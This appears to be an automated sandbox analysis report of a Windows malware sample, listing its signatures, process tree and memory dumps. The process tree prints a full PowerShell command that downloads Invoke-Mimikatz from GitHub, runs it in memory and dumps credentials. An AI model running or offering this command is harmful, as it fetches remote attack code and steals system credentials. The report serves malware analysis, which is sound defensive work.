Analysis
- max time kernel
149s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/07/2026, 10:03
General
- Target 2026-07-12_093d1f72dcaf9cd2acfba03476b7f80e_elex_qilin.exe
- Size 25KB
- Sample260712-l3dc7af16l
- SHA256 39c9b1af87c5991f72980cb718a30f891c20c70cc184d7056143889e32439dbd
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://github.com/PowershellMafia/Powersploit/raw/refs/heads/master/Exfiltration/Invoke-Mimikatz.ps1
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-12_093d1f72dcaf9cd2acfba03476b7f80e_elex_qilin.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-12_093d1f72dcaf9cd2acfba03476b7f80e_elex_qilin.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowershellMafia/Powersploit/raw/refs/heads/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4312-0-0x00007FFB7385F000-0x00007FFB73860000-memory.dmp
memory/4312-1-0x00000000007D0000-0x00000000007DC000-memory.dmp
memory/4312-4-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-6-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-5-0x000000001B410000-0x000000001B432000-memory.dmp
memory/4312-7-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-8-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-9-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-10-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-32-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-30-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-27-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/4312-24-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-18-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-16-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-19-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-20-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-21-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-22-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-23-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-17-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-25-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-26-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-15-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-29-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-14-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-31-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
memory/5440-13-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp